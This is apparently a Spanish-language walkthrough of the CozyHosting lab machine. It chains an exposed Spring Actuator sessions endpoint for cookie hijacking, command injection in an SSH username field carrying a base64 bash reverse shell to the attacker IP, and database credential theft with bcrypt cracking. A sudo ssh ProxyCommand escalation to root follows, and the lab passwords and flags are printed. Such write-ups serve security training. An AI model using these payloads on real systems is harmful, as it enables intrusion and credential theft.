Reporte

1 - Reconocimiento

Información de la máquina

```
Máquina: CozyHosting
IP: 10.10.11.230
OS: Linux
```

Ping

```
❯ ping -c 1 10.10.11.230
PING 10.10.11.230 (10.10.11.230) 56(84) bytes of data.
64 bytes from 10.10.11.230: icmp_seq=1 ttl=63 time=270 ms

--- 10.10.11.230 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 270.366/270.366/270.366/0.000 ms
```

Nmap

```
❯ sudo nmap -p- --open --min-rate 5000 -n -Pn 10.10.11.230 -oG allPorts
[sudo] contraseña para tony:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 14:51 -05
Nmap scan report for 10.10.11.230
Host is up (0.35s latency).
Not shown: 64983 closed tcp ports (reset), 547 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
8001/tcp open  vcom-tunnel
8002/tcp open  teradataordbms

Nmap done: 1 IP address (1 host up) scanned in 25.02 seconds
```

Whatweb

```
❯ whatweb http://10.10.11.230
http://10.10.11.230 [301 Moved Permanently] Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.230],
RedirectLocation[http://cozyhosting.htb], Title[301 Moved Permanently],
nginx[1.18.0]
ERROR Opening: http://cozyhosting.htb - no address for cozyhosting.htb
```

```
Agregandolo al /etc/hosts:
❯ whatweb http://cozyhosting.htb
http://cozyhosting.htb [200 OK] Bootstrap, Content-Language[en-US],
Country[RESERVED][ZZ], Email[info@cozyhosting.htb], HTML5, HTTPServer[Ubuntu
Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.230], Lightbox, Script, Title[Cozy
Hosting - Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY],
X-XSS-Protection[0], nginx[1.18.0]
```

1.1 - Servicios & Versiones

Servicios y puertos abiertos

```
❯ sudo nmap -p22,80,8000,8001,8002 -sCV -A 10.10.11.230 -oN targeted
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 14:52 -05
Nmap scan report for 10.10.11.230
Host is up (0.26s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open  http-alt?
8001/tcp open  vcom-tunnel?
8002/tcp open  teradataordbms?
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32
(95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211
Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux
3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   269.16 ms 10.10.16.1
2   112.44 ms 10.10.11.230

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 151.90 seconds
```

2 - Enumeration

Port 22 (ssh)

Inicialmente no contamos con credenciales válidas para ingresar por ssh

Port 80 (http)

Al ingresar a la aplicación web observamos una página web simple, con muy pocas funcionalidades, lo que llama la atención es un boton de "Login".

3 - Explotación

Identificación de la vulnerabilidad

vemos una página web con un boton que nos dirije a un login, pero no disponemos de ninguna credecial, por lo que probaremos con las distintas vulnerabilidades con XSS, SQLi o SSTI. Luego de intentarlo no obtenemos ningun resultado, entonces procedemos a usar dirsearch para buscar rutas y directorios de la página web:

```
❯ dirsearch -u http://cozyhosting.htb -L
[15:30:13] 200 -  634B  - /actuator
[15:30:14] 200 -    5KB - /actuator/env
[15:30:14] 200 -   15B  - /actuator/health
[15:30:14] 200 -   10KB - /actuator/mappings
[15:30:14] 200 -  348B  - /actuator/sessions
[15:30:14] 200 -  124KB - /actuator/beans
[15:30:15] 401 -   97B  - /admin
[15:30:59] 200 -    4KB - /login
```

Explotación de la vulnerabilidad

Observamos que hay una ruta llamada /actuator/sessions, al ingresar a ella vemos varias cookies y el usuario a la que se le asigna a la cookie:

```
|1943190CDC34098967DF15F741E3E7EF|"UNAUTHORIZED"|
|66069212269D8633B4FC715A8C4793BE|"UNAUTHORIZED"|
|984060B653BB49618763997ADE8B344F|"UNAUTHORIZED"|
|92475AD163C196B72964C2ED61DBD21D|"kanderson"|
|DD3C8F43A952464BAE9FAFAA9C258C9E|"UNAUTHORIZED"|
```

Vemos que en la mayoría aparece como "UNAUTHORIZED", excepto por el usuario "kaderson". Por lo tanto cambiamos la cookie JSESSIONID con la cookie de kanderson, actualizamos la página y ya estamos loggeados.

Obtener la shell de user

Una vez loggeados podemos ver al final de la página una opcion para ingresar un hostname y un usuario, si escribimos en hostname la ip de la máquina

(10.10.11.230) y con cualquier usuario nos saldrá un error "Host key verification failed.", si lo probamos con la ip de atacante, nos aparecerá un error "error=ssh: connect to host 10.10.16.37 port 22: Connection timed out." Esto también lo podemos observar desde el burpsuite.

Sin embargo, si colocamos cualquier host, pero no escribimos nada en usuario nos aparece este error "error=usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]%20%20%20%20%20%20%20%20%20%20 [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]%20%20%20%20%20%20%20%20%20%20 [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]%20%20%20%20%20%20%20%20%20%20 [-i identity_file] [-J [user@]host[:port]] [-L address]%20%20%20%20%20%20%20%20%20%20 [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]%20%20%20%20%20%20%20%20%20%20 [-Q query_option] [-R address] [-S ctl_path] [-W host:port]%20%20%20%20%20%20%20%20%20%20 [-w local_tun[:remote_tun]] destination [command [argument ...]]"
Lo cual nos indica que se está ejecutando un comando de ssh.

Tratamos de bypassearlo y obtener una reverse shell, pero los payloads de pentest monkey no funcionaron, googleando más a fondo se encontró una página con payloads que están convertidos en base64
(https://pentestbook.six2dez.com/exploitation/reverse-shells)

Usando los payloads:

"sh -i >& /dev/tcp/[ip de atacante]/4444 0>&1"
"echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash"

Colocamos estos valores en el burpsuite:

host=10.10.16.37&username=;echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMzcvNDQ0NCAwPiYx"|base64${IFS}-d|bash;

Nos ponemos a la escucha en netcat:

```
❯ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.37] from (UNKNOWN) [10.10.11.230] 53646
sh: 0: can't access tty; job control turned off
$ whoami
app
$ id
uid=1001(app) gid=1001(app) groups=1001(app)
```

Realizamos un tratamiento de la tty:

```
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
app@cozyhosting:/app$ export TERM=xterm
export TERM=xterm
app@cozyhosting:/app$
```

Ahora nos iremos al directorio home y vemos lo siguiente:

```
app@cozyhosting:/app$ cd home
app@cozyhosting:/home$ ls
ls
```

```
josh
app@cozyhosting:/home$ cd josh
cd josh
bash: cd: josh: Permission denied
app@cozyhosting:/home$
```

Hemos encontrado un usuario llamado josh para poder obtener la primera flag.
Si ejecutamos el comando "ls" vemos que hay un archivo .jar:

```
app@cozyhosting:/app$ ls

cloudhosting-0.0.1.jar
app@cozyhosting:/app$
```

Podemos usar python3 para montar un servidor http para poder descargarnos el archivo con wget:

En la máquina victima:

```
app@cozyhosting:/app$ python3 -m http.server 8081
python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
```

Ahora en nuestra máquina:

```
❯ wget http://10.10.11.230:8081/cloudhosting-0.0.1.jar
```

Lo extraemos:

```
❯jar -xfv cloudhosting-0.0.1.jar
```

Nos extrae 3 directorios, investigando los directorios encontramos algo interesante en el archivo BOOT-INF/classes/application.properties, al ejecutarle el comando strings encontramos lo siguiente:

```
❯ strings application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
```

Podemos observar unas credenciales para postgreSQL

```
app@cozyhosting:/app$ psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost/postgres"
psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost/postgres"
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256,
compression: off)
```

```
Type "help" for help.
```

Listamos todas las bases de datos:

```
postgres=# \l
                                  List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access
privileges
-------------+----------+----------+-------------+-------------+-----------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
+
             |          |          |             |             |
postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
+
             |          |          |             |             |
postgres=CTc/postgres
(4 rows)
```

Cambiamos a la base de datos cozyhosting:

```
postgres=# \c cozyhosting
```

Ahora listaremos las tablas:

```
cozyhosting=# \dt
         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)
```

Seleccionamos todos los elementos de la tabla users:

```
cozyhosting=# SELECT * FROM users;
   name    |                           password                           | role
-----------+--------------------------------------------------------------+------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
```

Copiamos esas 2 hashes y lo guardamos en un archivo llamado hashes.txt. Lo vamos a crackear usando john:

```
❯ john hashes.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
```

```
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
```

Solo hemos podido crackear 1 de los 2 hashes, entonces probamos esa contraseña con el usuario josh:

```
app@cozyhosting:/app$ su josh
su josh
Password: manchesterunited
josh@cozyhosting:/app$
josh@cozyhosting:/app$ whoami
whoami
josh
josh@cozyhosting:/app$ id
id
uid=1003(josh) gid=1003(josh) groups=1003(josh)
josh@cozyhosting:/app$ cd /home
cd /home
josh@cozyhosting:/home$ ls
ls
josh
josh@cozyhosting:/home$ cd josh
cd josh
josh@cozyhosting:~$ ls -la
ls -la
total 36
drwxr-x--- 3 josh josh 4096 Aug  8 10:19 .
drwxr-xr-x 3 root root 4096 May 18 15:03 ..
lrwxrwxrwx 1 root root    9 May 11 19:34 .bash_history -> /dev/null
-rw-r--r-- 1 josh josh  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 josh josh 3771 Jan  6  2022 .bashrc
drwx------ 2 josh josh 4096 May 18 14:47 .cache
-rw------- 1 josh josh   20 May 18 22:14 .lesshst
-rw-r--r-- 1 josh josh  807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 May 21 13:10 .psql_history -> /dev/null
-rw-r----- 1 root josh   33 Sep  6 08:01 user.txt
-rw-r--r-- 1 josh josh   39 Aug  8 10:19 .vimrc
josh@cozyhosting:~$ cat user.txt
cat user.txt
9ad62142b2a09aa7a864a11fe7344bf5
josh@cozyhosting:~$
```

VARIANTE

Debido a que ya tenemos la contraseña de josh podemos conectarnos por ssh para tener una shell más interactiva:

```
❯ ssh josh@cozyhosting.htb
josh@cozyhosting.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

 * Documentation:  https://help.ubuntu.com
```

```
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Sep  6 10:14:44 AM UTC 2023

  System load:           0.080078125
  Usage of /:            53.7% of 5.42GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             275
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.230
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c78e


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your
Internet connection or proxy settings


Last login: Wed Sep  6 09:56:26 2023 from 10.10.16.37

josh@cozyhosting:~$ whoami
josh
josh@cozyhosting:~$ id
uid=1003(josh) gid=1003(josh) groups=1003(josh)
josh@cozyhosting:~$ ls -la
total 36
drwxr-x--- 3 josh josh 4096 Aug  8 10:19 .
drwxr-xr-x 3 root root 4096 May 18 15:03 ..
lrwxrwxrwx 1 root root    9 May 11 19:34 .bash_history -> /dev/null
-rw-r--r-- 1 josh josh  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 josh josh 3771 Jan  6  2022 .bashrc
drwx------ 2 josh josh 4096 May 18 14:47 .cache
-rw------- 1 josh josh   20 May 18 22:14 .lesshst
-rw-r--r-- 1 josh josh  807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 May 21 13:10 .psql_history -> /dev/null
-rw-r----- 1 root josh   33 Sep  6 08:01 user.txt
-rw-r--r-- 1 josh josh   39 Aug  8 10:19 .vimrc
josh@cozyhosting:~$ cat user.txt
9ad62142b2a09aa7a864a11fe7344bf5
josh@cozyhosting:~$
```

4- Escalado de privilegios

Permisos sudo

```
Estando con el usuario josh ejecutamos el comando sudo -l:

josh@cozyhosting:~$ sudo -l
sudo -l
[sudo] password for josh: manchesterunited

Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sn
ap/bin,
    use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$
```

Escalada

```
Debido a que podemos ejecutar ssh como root, procedemos a buscar en la página de
GTFOBins para buscar una forma de escalar privilegios usando ssh y encontramos el
siguiente comando: "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x"
(https://gtfobins.github.io/gtfobins/ssh/)

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Y ya nos convertimos en root:

# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# cat root.txt
cat root.txt
7d7db6798e2db18c701e883bd67a6ebd
#
```

Users & Passwords

```
postgres:Vg&nvzAQ7XxR
josh:manchesterunited
```

Proof - Flag

User.txt

```
9ad62142b2a09aa7a864a11fe7344bf5
```

Root.txt

```
7d7db6798e2db18c701e883bd67a6ebd
```